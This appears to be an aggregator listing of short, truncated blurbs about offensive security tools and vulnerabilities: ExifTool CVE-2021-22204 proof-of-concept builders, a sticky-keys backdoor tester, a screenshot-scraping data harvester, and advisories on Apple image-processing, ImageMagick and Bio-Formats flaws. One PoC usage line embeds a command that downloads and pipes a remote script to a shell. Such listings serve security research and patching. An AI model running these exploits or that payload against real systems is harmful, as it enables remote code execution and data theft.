shotlooter

Introduction Shotlooter tool is developed to find sensitive data inside the screenshots which are uploaded to https://prnt.sc/ via the LightShot software by applying OCR and image processing methods. root@kitploit: +-------------------+ IMAGE FILE |!/usr/bin/python | +--------------------+ |...

sticky_keys_hunter

Sticky Keys Hunter This POC bash script tests for sticky keys and utilman backdoors. The script will connect to an RDP server, send both the sticky keys and utilman triggers and screenshot the result. This script was written to prove a theory I had about detecting these backdoors in a blackbox...

CVE-2021-22204

CVE-2021-22204 - ExifTool Arbitrary Code Execution An upgraded proof-of-concept for CVE-2021-22204, a vulnerability in ExifTool versions 7.44 through 12.23 that allows arbitrary code execution when processing malicious DjVu files. Credit This is derivative work. The vulnerability and the original...

POC-CVE-2021-22204

POC-CVE-2021-22204 https://nvd.nist.gov/vuln/detail/CVE-2021-22204 This is just a convenience script I wrote for testing. Output root@kitploit: Usage ./buildimage.pl Note: if your cmd contains unix special characters use quote! EG: ./buildimage.pl "curl xxxx.com/script.sh|sh" This poc generates a...

EUVD-2026-77944

An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. Processing a maliciously crafted image may lead to...

CVE-2026-86882

CVE-2026-86882 is an out-of-bounds write vulnerability in Apple platforms, addressed with improved bounds checking. The trigger is processing a maliciously crafted image , which may lead to unexpected process termination . The fix is included in iOS 26.7 , iPadOS 26.7 , iOS 27 , iPadOS 27 , macOS...

EUVD-2026-77924

An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27. Processing a maliciously crafted image may result in memory corruption...

CVE-2026-65395

CVE-2026-65395 is an out-of-bounds write in Apple's image processing subsystem, addressed with improved bounds checking. Processing a maliciously crafted image may result in memory corruption . The fix is included in iOS 26.7 / iPadOS 26.7 , iOS 27 / iPadOS 27 , macOS Golden Gate 27 , macOS Sequo...

CVE-2026-84564

CVE-2026-84564 is an uninitialized memory vulnerability across multiple Apple platforms. Processing a maliciously crafted image may result in disclosure of process memory , due to improper memory initialization. The issue is fixed in iOS 26.7 / iPadOS 26.7 , iOS 27 / iPadOS 27 , macOS Golden Gate...

CVE-2026-64752

A memory corruption vulnerability in Apple's image processing pipeline could lead to arbitrary code execution when a maliciously crafted image is processed. The affected platforms are iOS 27 , iPadOS 27 , macOS Golden Gate 27 , and visionOS 27 . The fix involved removing the vulnerable code entir...

EUVD-2026-78046

A buffer overflow was addressed with improved bounds checking. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, tvOS 27, visionOS 27, watchOS 27. Processing a maliciously crafted image may lead to unexpected app termination...

CVE-2026-84571

CVE-2026-84571 is a buffer overflow in Apple platforms, addressed with improved bounds checking . The affected products include iOS 27 , iPadOS 27 , macOS Golden Gate 27 , tvOS 27 , visionOS 27 , and watchOS 27 . Processing a maliciously crafted image may lead to unexpected app termination . No k...

EUVD-2026-78018

An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, macOS Golden Gate 27. Processing a maliciously crafted image may lead to unexpected app termination...

CVE-2026-64714

A memory corruption vulnerability in Apple products, addressed through improved bounds checking . The flaw allows processing of a maliciously crafted image to trigger a denial-of-service . The issue is fixed in iOS 18.7.10 , iPadOS 18.7.10 , macOS Golden Gate 27 , macOS Sequoia 15.7.8 , and macOS...

CVE-2019-19634

CVE-2019-19634 - class.upload.php = 2.0.4 Arbitrary file upload Author - Jinny Ramsmark Affected vendor - Verot.net Affected product - class.upload.php = 2.0.4 Tested on newly installed Ubuntu 14.04 with PHP5 and Apache Specifically Debian/Ubuntu has been found to be vulnerable since they add the...

CVE-2020-29599

CVE-2020-29599 Artifex ImageMagick lib Artifex vesrion 6.9.11-40 and 7.0. 10-40 SVG files will be converted to images...

CVE-2025-43300

CVE-2025-43300: iOS/macOS DNG Image Processing Memory Corruption Overview CVE-2025-43300 is a critical memory corruption vulnerability in Apple's image processing framework that affects iOS 18.6.1 and macOS systems. The vulnerability exists in the JPEG Lossless decompression code within...

PT-2026-91628

A buffer overflow was addressed with improved bounds checking. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, tvOS 27, visionOS 27, watchOS 27. Processing a maliciously crafted image may lead to unexpected app termination...

KeyDecoder

KeyDecoder KeyDecoder es una aplicación móvil creada para pentesters y entusiastas de la seguridad. A partir de la fotografía de una llave, se puede medir su codificación bitting fácilmente. Desarrollada por Maxime BEASSE y Quentin CLEMENT. En colaboración con FrenchKey y CNS de ESIEA. Impulsada...

CVE-2026-22187-Bio-Formats-unsafe-Java-deserialization-via-.bfmemo

CVE-2026-22187-Bio-Formats-unsafe-Java-deserialization-via-.bfmemo Bio-Formats ≤ 8.3.0 performs unsafe Java deserialization of attacker-controlled .bfmemo cache files during image processing; crafted .bfmemo can trigger deserialization of untrusted data DoS/logic manipulation; potentially RCE if...